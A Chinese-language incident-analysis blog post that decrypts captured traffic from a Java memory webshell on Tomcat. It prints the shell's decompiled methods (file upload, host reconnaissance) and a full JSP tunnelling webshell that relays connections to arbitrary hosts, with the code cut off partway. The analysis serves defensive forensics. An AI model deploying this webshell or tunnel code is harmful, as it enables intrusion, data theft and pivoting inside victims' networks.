从零开始的内存马分析——如何骑马反杀(一)3

简介: 从零开始的内存马分析——如何骑马反杀(一)

2.2 Tomcat 搭建

tomcat解析会报错,存在两个jar包缺失

返回数据

POST /ncupload/config.jsp HTTP/1.1
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Connection: close
Cookie: JSESSIONID=A891C7D63F7AA47F7BB3B7089E134B55.server
Content-Type: application/json
Cache-Control: no-cache
Pragma: no-cache
Host: 
Content-Length: 208
{"kvs":{"SaveLogResult":[0]},"tags":{"isSucc":true,"sdkVersion":"2.1.4","projectName":"Publish"},"extraData":"26426ac13be6e1b58c69fd371bac6de05031411e180aefaba292f681d82e4080931feb534693d2267c5d1940e676a29e"}HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Type: application/json;charset=UTF-8
Content-Length: 290
Date: Mon, 25 Jul 2022 11:16:23 GMT
Connection: close
{"code":0,"data":{"suggestItems":[],"global":"e1JTQX0pZ0aeP7q4n2hcmkzSNR3IziwHfy4+8Q7p37h/TbEBuDTY/h8uggW9zZaqXH9R9/m1YziyH","exData":{"api_flow01":"0","api_flow02":"0","api_flow03":"1","api_flow04":"0","api_flow05":"0","api_flow06":"0","api_flow07":"0","api_tag":"2","local_cityid":"-1"}}}

我们此时发现,返回数据,没办法解密

流量2
POST /web_war_exploded/config.jsp HTTP/1.1
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Connection: close
Cookie: JSESSIONID=9591F786236B86A2FD02F136EDA38C6B.server
Content-Type: application/json
Cache-Control: no-cache
Pragma: no-cache
Host: 127.0.0.1:8080
Content-Length: 208
{"kvs":{"SaveLogResult":[0]},"tags":{"isSucc":true,"sdkVersion":"2.1.4","projectName":"Publish"},"extraData":"26426ac13be6e1b58c69fd371bac6de05031411e180aefaba292f681d82e4080931feb534693d2267c5d1940e676a29e"}
HTTP/1.1 200 
Set-Cookie: JSESSIONID=D13E378AB0CFF03E93024BD85D16A115; Path=/web_war_exploded; HttpOnly
Content-Type: application/json;charset=UTF-8
Content-Length: 290
Date: Sun, 31 Jul 2022 09:36:35 GMT
Connection: close
{"code":0,"data":{"suggestItems":[],"global":"e1JTQX0pZ0aeP7q4n2hcmkzSNR3IziwHfy4+8Q7p3LqSQ62BTyUngI/DkW9Tp3quXH4sRpwFYziyH","exData":{"api_flow01":"0","api_flow02":"0","api_flow03":"1","api_flow04":"0","api_flow05":"0","api_flow06":"0","api_flow07":"0","api_tag":"2","local_cityid":"-1"}}}

打完大马的第一个数据包

我们发送的数据是

6D6574686F644E616D65020400000074657374

我们尝试解密返回的数据

本地复现的返回包和报文一致

我们再来看我们的马,

服务器数据 =》xor =》 base =》流量
流量 =》 base =》xor =》获得数据

注入后,我们对于返回包的数据解码并不成功

我们按下不表,在后续进行解密

我们去查看注入的内存马,发现存在GZIP和deserialize

也就是说,我们重新推断一次

服务器数据 =》xor =》 base =》流量
流量 =》 base =》xor =》获得数据
变为了
服务器数据 =》GZIP =》xor =》 base =》流量
流量 =》 base =》xor =》Gzip=》获得数据

我们对原本马的进一步分析之后,发现错过了一些细节

{"code":0,"data":{"suggestItems":[],"global":"e1JTQX0pZ

拼接的前半部分为这样,也就导致会解密出{RSA}

我们去除前面的影响之后,将流量的后续,进行解密

将返回的流量成功解密

内存马分析

3.1 功能预览

3.2 全局变量

sessionMap 用来存储多个session,说明 该系统rt是多人协同使用的工具,每个人的session不同

parameterMap 是用来存储传递的参数的

其他的也如图所见

introspector 监听器

public byte[] run() {//run函数
      try {//第一个参数是evalClassName,也就是我们命令的参数,第二个是methodName也是我们执行的方法
         String var1 = this.get("evalClassName");
         String var20 = this.get("methodName");
         // 方法为空就会提示
         if (var20 == null) {
            return "Method is empty".getBytes();
         } else {
            Object var21 = null;
            if (var1 != null) {
            //var4 是本身函数中的恶意module
               Class var4 = (Class)this.session.get(var1);
               if (var4 == null) {
                  return "Plugin module not loaded".getBytes();
               }
                //参数Map,将sessionTable和servletRequest 存入
               this.parameterMap.put("sessionTable", this.session);
               this.parameterMap.put("servletRequest", this.servletRequest);
               var21 = var4.newInstance();
            }
//下面是一个调用class和参数,
            Method var23 = null;
            boolean var5 = var21 != null;//实例化对象是否存在,var5判断
            Class var6 = var5 ? var21.getClass() : this.getClass();
            var21 = var5 ? var21 : this;
            //getByteArray函数见如下
            byte[] var7 = this.getByteArray("invokeMethod");
            Class[] var8 = new Class[1];//类的实例化
            Object[] var9 = new Object[]{var21};
            if (var7 != null || !var5) {
               try {
                  var8[0] = Map.class;
                  var23 = var6.getMethod(var20, var8);
               } catch (NoSuchMethodException var18) {
                  try {
                     var8[0] = Dictionary.class;
                     var23 = var6.getMethod(var20, var8);
                  } catch (NoSuchMethodException var16) {
                     try {
                        var8 = new Class[0];
                        var9 = new Object[0];
                        var23 = var6.getMethod(var20, var8);
                     } catch (NoSuchMethodException var14) {
                        return "No Such Method".getBytes();
                     }
                  }
               }
            }
            Object var10 = null;
            if (var23 != null) {
               var10 = var23.invoke(var21, var9);
            } else {
            //equals函数被重写了,见下
            //toString函数也被重写了,见下
               var21.equals(this.parameterMap);
               var21.toString();
               var10 = this.parameterMap.get("result");
            }
            if (byte[].class.isInstance(var10)) {
               return (byte[])var10;
            } else if (String.class.isInstance(var10)) {
               return ((String)var10).getBytes();
            } else {
               return Map.class.isInstance(var10) ? this.serialize((Map)var10) : "Incorrect return type".getBytes();
            }
         }
      } catch (Throwable var19) {
         ByteArrayOutputStream var2 = new ByteArrayOutputStream();
         PrintStream var3 = new PrintStream(var2);
         var19.printStackTrace(var3);
         var3.flush();
         var3.close();
         return var2.toByteArray();
      }
   }

3.3 被调用的函数

getByteArray

public byte[] getByteArray(String var1) {
      try {
         return (byte[])this.parameterMap.get(var1);
      } catch (Exception var2) {
         return null;
      }
   }
   //获取parameterMap中的参数,上述传递的invokeMethod

equals 重写成参数不为空,同时对var1 调用handle

public boolean equals(Object var1) {
      return var1 != null && this.handle(var1);
   }
//var1 不为空的时候,
   public boolean handle(Object var1) {
      if (var1 == null) {
         return false;
      } else {
      //判断var1 是不是byteArrayoutputStream类,是的话,输出
         if (ByteArrayOutputStream.class.isInstance(var1)) {
            this.outputStream = (ByteArrayOutputStream)var1;
            //判断,是不是byte数组,是的话赋值requestData
         } else if (byte[].class.isInstance(var1)) {
            this.requestData = (byte[])var1;
         } else if (this.supportClass(var1, ".servlet.http.HttpServletRequest")) {
            this.servletRequest = var1;
         }
         return false;
      }
   }
//var2 servlet.http.httpServletReuest
//var1 
   private boolean supportClass(Object var1, String var2) {
      if (var1 == null) {
         return false;
      } else {
         boolean var3 = false;
         Class var4 = null;
         try {
            try {
               var4 = Class.forName("javax" + var2, true, var1.getClass().getClassLoader());
            } catch (Exception var5) {
               var4 = Class.forName("jakarta" + var2, true, var1.getClass().getClassLoader());
            }
         } catch (Exception var6) {
         }
         if (var4 != null && var4.isInstance(var1)) {
            var3 = true;
         }
         return var3;
      }
   }

反序列化

public HashMap deserialize(byte[] var1, boolean gzipFlag) {
      HashMap var3 = new HashMap();
      ByteArrayInputStream var4 = new ByteArrayInputStream(var1);
      ByteArrayOutputStream var5 = new ByteArrayOutputStream();
      byte[] var6 = new byte[4];
//针对gzipFlag 判断对流是否采用GZIP加解密
      try {
         Object var7 = var4;
         if (gzipFlag) {
            var7 = new GZIPInputStream(var4);
         }
         while(true) {
            byte var8 = (byte)((InputStream)var7).read();
            if (var8 == -1) {
               break;
            }
            if (var8 == 1) {
               ((InputStream)var7).read(var6);
               int var9 = bytesToInt(var6);
               String var10 = var5.toString();
               var3.put(var10, this.deserialize(this.readInputStream((InputStream)var7, var9), false));
               var5.reset();
            } else if (var8 == 2) {
               ((InputStream)var7).read(var6);
               int var12 = bytesToInt(var6);
               String var13 = var5.toString();
               var3.put(var13, this.readInputStream((InputStream)var7, var12));
               var5.reset();
            } else {
               var5.write(var8);
            }
         }
      } catch (Exception var11) {
      }
      return var3;
   }

序列化

public byte[] serialize(Map var1) {
      Iterator var2 = var1.keySet().iterator();
      ByteArrayOutputStream var3 = new ByteArrayOutputStream();
      while(var2.hasNext()) {
         try {
            String var4 = (String)var2.next();
            Object var5 = var1.get(var4);
            var3.write(var4.getBytes());
            byte[] var6;
            if (var5 instanceof byte[]) {
               var3.write(2);
               var6 = (byte[])var5;
            } else if (var5 instanceof Map) {
               var3.write(1);
               var6 = this.serialize((Map)var5);
            } else {
               var3.write(2);
               if (var5 == null) {
                  var6 = "NULL".getBytes();
               } else {
                  var6 = var5.toString().getBytes();
               }
            }
            var3.write(intToBytes(var6.length));
            var3.write(var6);
         } catch (Exception var7) {
         }
      }
      return var3.toByteArray();
   }

重写后的toString

public String toString() {
      if (this.outputStream != null && this.requestData != null) {
         try {
            this.parameterMap = this.deserialize(this.requestData, true);
            String var1 = this.sessionId();
            if (var1 != null) {
               this.session = (Map)sessionMap.get(var1);
            }
//methodname就是我们在内存马中交互的函数名
            String var2 = this.get("methodName");
            if (var2 == null || this.session == null && !"test".equals(var2)) {
               return super.toString();
            }
            GZIPOutputStream var3 = new GZIPOutputStream(this.outputStream);
            byte[] var4 = this.run();
            var3.write(var4);
            var3.close();
            this.outputStream.close();
            this.parameterMap = null;
            this.requestData = null;
            this.outputStream = null;
            this.servletRequest = null;
            this.session = null;
         } catch (Throwable var5) {
         }
      }
      return super.toString();
   }

close 关闭session

public byte[] close() {
      try {
         String var1 = this.sessionId();
         String var2 = this.get("operation");
         if (var1 != null) {
            Map var7 = (Map)sessionMap.remove(var1);
            var7.put("alive", Boolean.FALSE);
            return "ok".getBytes();
         } else if (var2 != null && "clearup".equals(var2)) {
            for(Object var4 : sessionMap.values()) {
               if (Map.class.isInstance(var4)) {
                  ((Map)var4).put("alive", Boolean.FALSE);
               }
            }
            sessionMap.clear();
            return "ok".getBytes();
         } else {
            return "fail".getBytes();
         }
      } catch (Exception var6) {
         return var6.getMessage().getBytes();
      }
   }

uploadFIle,参数已经都修改了比较好懂

public byte[] uploadFile() {
      String filepath = this.get("fileName");
      byte[] fileValues = this.getByteArray("fileValue");
      if (var1 != null && var2 != null) {
         try {
            File file = new File(filepath);
            file.createNewFile();
            FileOutputStream fileOutputStream = new FileOutputStream(file);
            fileOutputStream.write(fileValues);
            fileOutputStream.close();
            return "ok".getBytes();
         } catch (Exception var5) {
            return var5.getMessage().getBytes();
         }
      } else {
         return "No parameter fileName and fileValue".getBytes();
      }
   }

getBasicsINfo 获取当前环境的相关信息

public byte[] getBasicsInfo() {
      String var1 = "";
      try {
         Enumeration var2 = System.getProperties().keys();
         var1 = var1 + "FileRoot : " + this.listFileRoot() + "\n";
         var1 = var1 + "CurrentDir : " + new File("").getAbsoluteFile() + "/" + "\n";
         var1 = var1 + "CurrentUser : " + System.getProperty("user.name") + "\n";
         var1 = var1 + "ProcessArch : " + System.getProperty("sun.arch.data.model") + "\n";
         try {
            String var16 = System.getProperty("java.io.tmpdir");
            char var4 = var16.charAt(var16.length() - 1);
            if (var4 != '\\' && var4 != '/') {
               var16 = var16 + File.separator;
            }
            var1 = var1 + "TempDirectory : " + var16 + "\n";
         } catch (Exception var7) {
         }
         var1 = var1 + "RealFile : " + this.getRealPath() + "\n";
         try {
            var1 = var1
               + "OsInfo : os.name: "
               + System.getProperty("os.name")
               + " os.version: "
               + System.getProperty("os.version")
               + " os.arch: "
               + System.getProperty("os.arch")
               + "\n";
         } catch (Exception var6) {
            var1 = var1 + "OsInfo : " + var6.getMessage() + "\n";
         }
         String var17;
         for(var1 = var1 + "IPList : " + getLocalIPList() + "\n"; var2.hasMoreElements(); var1 = var1 + var17 + " : " + System.getProperty(var17) + "\n") {
            var17 = (String)var2.nextElement();
         }
         Map var18 = this.getEnv();
         if (var18 != null) {
            for(String var19 : var18.keySet()) {
               var1 = var1 + var19 + " : " + var18.get(var19) + "\n";
            }
         }
         return var1.getBytes();
      } catch (Exception var8) {
         StringBuffer var3 = new StringBuffer();
         var3.append(var1);
         var3.append("Exception errMsg:");
         var3.append(var8.getMessage());
         return var3.toString().getBytes();
      }
   }

在数据包中,发现了一些比较大的数据量

POST /ncupload/config.jsp HTTP/1.1
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Connection: close
Cookie: JSESSIONID=9591F786236B86A2FD02F136EDA38C6B.server
Content-Type: application/json
Cache-Control: no-cache
Pragma: no-cache
Host: 
Content-Length: 6096
{"kvs":{"SaveLogResult":[0]},"tags":{"isSucc":true,"sdkVersion":"2.1.4","projectName":"Publish"},"extraData":"32a85e76c20073540fef1ce1ee320f50ae0ff737d7ed26e6a85da18aad02f435bc8518d11b1e9030f4be2e0b3af6a17b87b423600fada476b6400c826cbb29c8759449da755f460961a6996fafc2e7d0633389636aaa4d316cb6f4c2b05b3cbc482b600171952a15d416a565a9dd8cc8ab155646f51efde3f249cee568dd767eccfa3521d11b7ea0cb5939e3ed36e87b6b29a7fa4fbc90a8b99b6061aef5c2e7af82b947ad15df47b32139dabd03d0cc2487f11565dbe1c1cf1f6bd0e1bba680a3573135fb1459f0db7fbe78d79f31bfea595630af5e31f5d31e61ab8f959547ab0e4cdae1db0febcbb086077cff5bfa0cb6e4ec30ac9a2c59983aaf0e9025b975b1e749a4776bc1c63279e3190d430704d097ce3737a3f435b60da0c949e4f2fe3aad6dca3adc574fbef52d17893a7ed6055f6aac133e50738b9ad164fe7e9df8f45d8db67861345962782162eda63e96f815007397ff9f629736639f896ec929ff6d586c4f8c5d349e06ef5196cb525f786dafa9d98a37eac395852d7d4e06e146c83059161369bcad803b424203da730157ec11336b0871d927f194fc65936e0471e9571cd7308371ebcd0ed0ba4b9929fc0309025605db8bc22637a1a86dcfce4e89ee0e58f8aea28cd39bcaff1bda3b1fb52285186e406058e78548e21a37ccc2d60d0d75a73911b73ba1d70805eb63e5cc056e01c0d3ccd5b58d8e7ffed52f6a7c7b3670b7d1c8e739ab47b50a532874217e3ce1a52495f0f5953d740e6422c09360fb838a80513343ba1130d1eb3d68e8c125add9368e891ca3fe196ac30e8e3c7de85ecb4e0ccb5c16e35bb0d8acf90b74861cdcb5fb6f2d63a45875b03ed825fa64abf719b540180beb16729dd83d89296da542a716ece2434f2790ce7f478dc59834d7b854d570cf95185b0a4ca186432f16a1f14f259b4a5e80c5db23083640e09fd9f3d8162d30fbf6b1a88ffb158c8ab1628ef6c6d7d35188b796dd07d7bd0f92d316c243e744fe16567ea64937df3f037ed0920aee1cdc0ecccb60a35a095feff50ea74ea51539d2e5306b8a06b9cd144d49da59becf2f875d7b833f9e8c9293b015a8e69903b93e6f17c9e1c43b25e7d940d47c3fb8d289053db59c45cb2eff8d7c8be617d2c06ad1bd93f5cf9f74d4988148e05da68db648e47897c75c3b8962ba61c44bf4a408fe8104ffb032ebba5e7f04eae6b9629d324a2ebf42bc2eccea1f38eb97fb9627932a6ba624b32e92a80c0c9e12edb610644b618ed91f2dd5ebef37d50c628127338671daa80995ee630095bd2d46c83cbe323adce50da5d62c807994787d2d1c18f223840aa5e8f1c3225e275a26d16ca97f72cde36fb6653574f614a16e8596fca46caafe26c7d87d082234c9a4394ebc0354c086f9ac1a54d79204a13cb6e31388be8f3accd90a69fc05309f6807a83cd331e86a074325cfb81b436fa66972c1f272159fc896fa6bc132a261e4b1983876f3649da62cb04ad88674c2e01d4cb8fc865ffbd97cb52b623c4e4558cabe7ba7321850c4fca9c0a767f3afa8a1b74cff37635ed24e2c926ccdd4acce0e6eb2f7de8084036d8654b7e8923e03a5d119cb31fd076b246a62dbb8d2171fc36d683a358e35aa9173e83118def9f58e7205058b2f97cc81d29a0dce1bd1134c8afadda693f595b854d1745d0dec97a72ad09dfba993479bd1648a2d6674dcb51ea60027ea7003418ce39643f005b3f0a3ac717413e3f6e38870e24404712dd2b91a5c1eda973f54880c8b849445e054a99cbf8ec5fdebbee4bebacedba3425b3f7a3f78c6b6fb78b3b3e5a4ff8dd5db8f57cfb38024bfce90147c3340129bf6e0ccb578fe4fc3c7e52ca1e5606711d256c3e4ea01fb5a92fdb310ada833a8839c81fe1b4309a0fc13d661c06b95999812f1ac2eefb032dc8b1a54868e33ac30cfd77c4ce660f97192596b7988dca08ce24e96007a4e9c8d5c2f456cfe8430930e1ad4e78101260a51c35aaa188e4d1ecd1281728b59cf14053bf732a6cd167478e8d42753c9cea3739dea6c371d7a8a038dbb0d44e3890b40bf575ad674c96df09ba72ea3d81a59b495b1381615f063cbf7277069ae20366dc2f8a5efe63fd639590821a3a88007cdca540d0f6d847702e52ea8cbcf0a5cf56edb9e5d164debdb393ab2b26abef14f6d09cbb0bad56d10e38df1bcea0efa681fa7fd80a42590677a60c54fcc52081ed90d70be050920b17a9a6d8835293bb1bfebf9c5a24d8ccb46d319084081cc3529f3184fc43709907a808cb21597570df3a9fa5f1c0afa0d7fb42c4097ef43db533117b13800d4f8bf9e211046598afff48e89f10f4eab805836ccf4cca6e7d121b278c4b85b182012b20d560df094bb6530902ade5742406337855a2fbcc37ef73c85626f9ab49468f8d2117d0dfc890009b9e75a8a43f66e98706937c6649899acf3634756d1263085930e3e8fa4eabf323fa06021b640eedc99881671960ed3dffe68ee9016c6d79968a6a8a2498a740a362a1f58070bfb0cbcf45721a50fe18cc923a25445b9daca0e762bed46c21ccfb99ea4792bd4570c7a94d6b207077aaa455f584f3a7c99c0f35233a4ff629b31e385972d4e3f8faa9831219de17a8de763e6d0c6028045d61eb287e6034d8ccbdf143dab6156d8579f4812b784d794bb6d651c6fda18337306b406eacca9ac07c35455b18edef5b9c5720b2e0b97efddd90f94891e340d23f677664949edc64f12e445996eb9762581b98487d52a5715778752641db9a80cad992ba9a23dcc27e13aac9a67e9a5a9781f8dda8202eb6020d8c7dd501b3c66e53d117e2b8b71e6f64f6be71ace17f548fde712ed98603d4193cb4c637a66d4b666e78e3c5f43423d36956a1a94363885dd5e6b08cb85e92ca9965e6fd5a8696995dcd89aac3667b7d4a0f04fb40643342ab8c6baf6b13f85a6e088d8f2a29485b31acee691e348e48db962ae5465e509589b2f3279bb4b4b624bd9567828f01dd80f18584d9f80fcae542b769aad985e7c872b87dd0274270bc2a43de8568b0ba40ed1c9e8555a7c73e7a0f66dbaac8ed902808dbb5bcdf3e2cbf737684d9ae1091dbb3075da90b026ef1475b53d82cdd48bcc2cee0ed53e37e89ab96c3eb7a2db9b520187e05b7695c28f70b6a26ac8c3d620f9d512c3ce0fdfdc7614f4a6066d1af1ef4160db16251d00a87a3fe1d97762371ed76d0993c6fd3047033c48841df3580db4842053a208edee9aec14c4f0d6167fbbc1d7d1e27db0df961c149e569820d3a5b054047ea8c8c0fb3f0a02a4159e381e88dc80be44f29b7d81d225bc532f2ae7612567b2b0e6d98ac12f2dc1d468579ebe2691f8fb7909372fcee0edf636105b6e739636979838e67c7259b3e60bcd8c33ca6b813b181e92e28891f4a10c5b0307de3154ef976b90b6e9cb7da1df481d15594f182db9dc040dc92aea5f0866205320a00056367163edb541cd4c9c69cfda046c79e07a5353e7ccb7fa7ca30d8f70c884905a7e380acfc4b87cd776312a0c03b8ca7563d732fe60e1660d5393bff054171a6f2cfe0a944009c66a20e8c134e115d5c2c41a85f24523cfb30900304162589db0b4c3bdb77102c28f8e01d780baabf74d4e3c0495c530dc12a2432b7e23ac20435fe828298b7a98a182dc24bd6d380f8605f110040d0e68c9601d4db46e4aa50326e50553a6ea0dd06864790edf6e0019db88cb0bb3e047f8b34de42adc9fc9914cbcaa272bc224200ac5f5bbe77d2affdf90eb518f00d0e28efd124d5f9c13b02c9ced7d869ccf226a304aeaeee19515852039e52691117a44c75e9f4cbb0a08aae885f37b15599d636cca01821f0f8b1e1d5c96c31bf94a7b97c138c97f46c87e0f031480a21ed1c54ebe2e8a2d75e8261db357d16a97c8d48817cdfa68b6319e5dae23576103e93af792cc8e2501c0cdf0fe7bdbf98878a3e2c2f44c9bb022a24db998d404d3d2d745a8a5bf02983040f1896cbb8b46cc2b593d27f88b07e8de6aaa5f66742d67c8865a674d640489d11024fc1c31cbccd8c82a731e52b37496afa2b3bc84b737f0543ce5fa3beea789438e458d8ab67259249446f3925c03f91902f8198de4bf439ce068aa251e96d2bedbeae58196fd99dd770cee242403b7180a0be2538483a3285a5c2adc365158ec0911705438acae119c658eac193af640bb5e22f7f4cd7df6e3392da2b7ca28e5078b"}HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Type: application/json;charset=UTF-8
Content-Length: 254
Date: Wed, 27 Jul 2022 10:14:51 GMT
Connection: close
{"code":0,"data":{"suggestItems":[],"global":"e1JTQX0pZ0aeP7q4n2hcmk9QMbFy6mhJVhe6uJw==","exData":{"api_flow01":"0","api_flow02":"0","api_flow03":"1","api_flow04":"0","api_flow05":"0","api_flow06":"0","api_flow07":"0","api_tag":"2","local_cityid":"-1"}}}

数据包中,如上数据,进行解密后

解出的jsp为,解出的代码也就是后续的windowsConfig.jsp,这个木马露出了马脚,终于被我们所捕获。

<%@page import="java.nio.ByteBuffer, java.nio.channels.SocketChannel, java.io.*, java.net.*, java.util.*" pageEncoding="UTF-8" trimDirectiveWhitespaces="true"%>
<%!
    private static char[] en = "CE0XgUOIQFsw1tcy+H95alrukYfdznxZR8PJo2qbh4pe6/VDKijTL3v7BAmGMSNW".toCharArray();
    public static String b64en(byte[] data) {
        StringBuffer sb = new StringBuffer();
        int len = data.length;
        int i = 0;
        int b1, b2, b3;
        while (i < len) {
            b1 = data[i++] & 0xff;
            if (i == len) {
                sb.append(en[b1 >>> 2]);
                sb.append(en[(b1 & 0x3) << 4]);
                sb.append("==");
                break;
            }
            b2 = data[i++] & 0xff;
            if (i == len) {
                sb.append(en[b1 >>> 2]);
                sb.append(en[((b1 & 0x03) << 4)
                        | ((b2 & 0xf0) >>> 4)]);
                sb.append(en[(b2 & 0x0f) << 2]);
                sb.append("=");
                break;
            }
            b3 = data[i++] & 0xff;
            sb.append(en[b1 >>> 2]);
            sb.append(en[((b1 & 0x03) << 4)
                    | ((b2 & 0xf0) >>> 4)]);
            sb.append(en[((b2 & 0x0f) << 2)
                    | ((b3 & 0xc0) >>> 6)]);
            sb.append(en[b3 & 0x3f]);
        }
        return sb.toString();
    }
    private static byte[] de = new byte[] {-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,16,-1,-1,-1,45,2,12,37,53,41,19,44,55,33,18,-1,-1,-1,-1,-1,-1,-1,57,56,0,47,1,9,59,17,7,35,48,52,60,62,6,34,8,32,61,51,5,46,63,3,25,31,-1,-1,-1,-1,-1,-1,20,39,14,27,43,26,4,40,49,50,24,21,58,29,36,42,38,22,10,13,23,54,11,30,15,28,-1,-1,-1,-1,-1};
    public static byte[] b64de(String str) {
        byte[] data = str.getBytes();
        int len = data.length;
        ByteArrayOutputStream buf = new ByteArrayOutputStream(len);
        int i = 0;
        int b1, b2, b3, b4;
        while (i < len) {
            do {
                b1 = de[data[i++]];
            } while (i < len && b1 == -1);
            if (b1 == -1) {
                break;
            }
            do {
                b2 = de[data[i++]];
            } while (i < len && b2 == -1);
            if (b2 == -1) {
                break;
            }
            buf.write((int) ((b1 << 2) | ((b2 & 0x30) >>> 4)));
            do {
                b3 = data[i++];
                if (b3 == 61) {
                    return buf.toByteArray();
                }
                b3 = de[b3];
            } while (i < len && b3 == -1);
            if (b3 == -1) {
                break;
            }
            buf.write((int) (((b2 & 0x0f) << 4) | ((b3 & 0x3c) >>> 2)));
            do {
                b4 = data[i++];
                if (b4 == 61) {
                    return buf.toByteArray();
                }
                b4 = de[b4];
            } while (i < len && b4 == -1);
            if (b4 == -1) {
                break;
            }
            buf.write((int) (((b3 & 0x03) << 6) | b4));
        }
        return buf.toByteArray();
    }
    static String headerkey(String str) throws Exception {
        String out = "";
        for (String block: str.split("-")) {
           out += block.substring(0, 1).toUpperCase() + block.substring(1);
           out += "-";
        }
        return out.substring(0, out.length() - 1);
    }
    boolean islocal(String url) throws Exception {
        String ip = (new URL(url)).getHost();
        Enumeration nifs = NetworkInterface.getNetworkInterfaces();
        while (nifs.hasMoreElements()) {
            NetworkInterface nif = nifs.nextElement();
            Enumeration addresses = nif.getInetAddresses();
            while (addresses.hasMoreElements()) {
                InetAddress addr = addresses.nextElement();
                if (addr instanceof Inet4Address)
                    if (addr.getHostAddress().equals(ip))
                        return true;
            }
        }
        return false;
    }
%>
<%
    String rUrl = request.getHeader("Mueytrthxaatjpsb");
    if (rUrl != null) {
        rUrl = new String(b64de(rUrl));
        if (!islocal(rUrl)){
            response.reset();
            String method = request.getMethod();
            URL u = new URL(rUrl);
            HttpURLConnection conn = (HttpURLConnection) u.openConnection();
            conn.setRequestMethod(method);
            conn.setDoOutput(true);
            // conn.setConnectTimeout(200);
            // conn.setReadTimeout(200);
            Enumeration enu = request.getHeaderNames();
            List keys = Collections.list(enu);
            Collections.reverse(keys);
            for (String key : keys){
                if (!key.equalsIgnoreCase("Mueytrthxaatjpsb")){
                    String value=request.getHeader(key);
                    conn.setRequestProperty(headerkey(key), value);
                }
            }
            int i;
            byte[] buffer = new byte[1024];
            if (request.getContentLength() != -1){
                OutputStream output;
                try{
                    output = conn.getOutputStream();
                }catch(Exception e){
                    response.setHeader("Die", "C23vc07BCOdIsUHAmDM4nNP01x7zR4uKsWbBrOV");
                    return;
                }
                ServletInputStream inputStream = request.getInputStream();
                while ((i = inputStream.read(buffer)) != -1) {
                    output.write(buffer, 0, i);
                }
                output.flush();
                output.close();
            }
            for (String key : conn.getHeaderFields().keySet()) {
                if (key != null && !key.equalsIgnoreCase("Content-Length") && !key.equalsIgnoreCase("Transfer-Encoding")){
                    String value = conn.getHeaderField(key);
                    response.setHeader(key, value);
                }
            }
            InputStream hin;
            if (conn.getResponseCode() < HttpURLConnection.HTTP_BAD_REQUEST) {
                hin = conn.getInputStream();
            } else {
                hin = conn.getErrorStream();
                if (hin == null){
                    response.setStatus(200);
                    return;
                }
            }
            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            while ((i = hin.read(buffer)) != -1) {
                byte[] data = new byte[i];
                System.arraycopy(buffer, 0, data, 0, i);
                baos.write(data);
            }
            String responseBody = new String(baos.toByteArray());
            response.addHeader("Content-Length", Integer.toString(responseBody.length()));
            response.setStatus(conn.getResponseCode());
            out.write(responseBody);
            out.flush();
            if ( true ) return; // exit
        }
    }
    response.resetBuffer();
    response.setStatus(200);
    String cmd = request.getHeader("Ffydhndmhhl");
    if (cmd != null) {
        String mark = cmd.substring(0,22);
        cmd = cmd.substring(22);
        response.setHeader("Sbxspawzq", "CapFLueBCn2ZM");
        if (cmd.compareTo("b5v9XJbF") == 0) {
            try {
                String[] target_ary = new String(b64de(request.getHeader("Nnpo"))).split("\\|");
                String target = target_ary[0];
                int port = Integer.parseInt(target_ary[1]);
                SocketChannel socketChannel = SocketChannel.open();
                socketChannel.connect(new InetSocketAddress(target, port));
                socketChannel.configureBlocking(false);
                application.setAttribute(mark, socketChannel);
                response.setHeader("Sbxspawzq", "CapFLueBCn2ZM");
            } catch (Exception e) {
                response.setHeader("Die", "k4MBX7QElVQzrmOdkml_G3pnYz55EFZPIwTO");
                response.setHeader("Sbxspawzq", "G87IdjaYlmwUWO9QjVFHPeP2SVfeMhzT6_pvfN46Km7PazEmu225XmpiAa");
            }
        } else if (cmd.compareTo("0FX") == 0) {
            SocketChannel socketChannel = (SocketChannel)application.getAttribute(mark);
            try{
                socketChannel.socket().close();
            } catch (Exception e) {
            }
            application.removeAttribute(mark);
        } else if (cmd.compareTo("TQDLLDvYzyrB4pPbieRBk90FIdYgjJcE2si70wIXfql") == 0){
            SocketChannel socketChannel = (SocketChannel)application.getAttribute(mark);
            try{
                ByteBuffer buf = ByteBuffer.allocate(513);
                int bytesRead = socketChannel.read(buf);
                int maxRead = 524288;
                int readLen = 0;
                while (bytesRead > 0){
                    byte[] data = new byte[bytesRead];
                    System.arraycopy(buf.array(), 0, data, 0, bytesRead);
                    out.write(b64en(data));
                    out.flush();
                    ((java.nio.Buffer)buf).clear();
                    readLen += bytesRead;
                    if (bytesRead < 513 || readLen >= maxRead)
                        break;
                    bytesRead = socketChannel.read(buf);
                }
                response.setHeader("Sbxspawzq", "CapFLueBCn2ZM");
            } catch (Exception e) {
                response.setHeader("Sbxspawzq", "G87IdjaYlmwUWO9QjVFHPeP2SVfeMhzT6_pvfN46Km7PazEmu225XmpiAa");
            }
        } else if (cmd.compareTo("CtWP7tBSKiDnysT9hP9pa") == 0){
            SocketChannel socketChannel = (SocketChannel)application.getAttribute(mark);
            try {
                String inputData = "";
                InputStream in = request.getInputStream();
                while ( true ){
                    byte[] buff = new byte[in.available()];
                    if (in.read(buff) == -1)
                        break;
                    inputData += new String(buff);
                }
                byte[] base64 = b64de(inputData);
                ByteBuffer buf = ByteBuffer.allocate(base64.length);
                buf.put(base64);
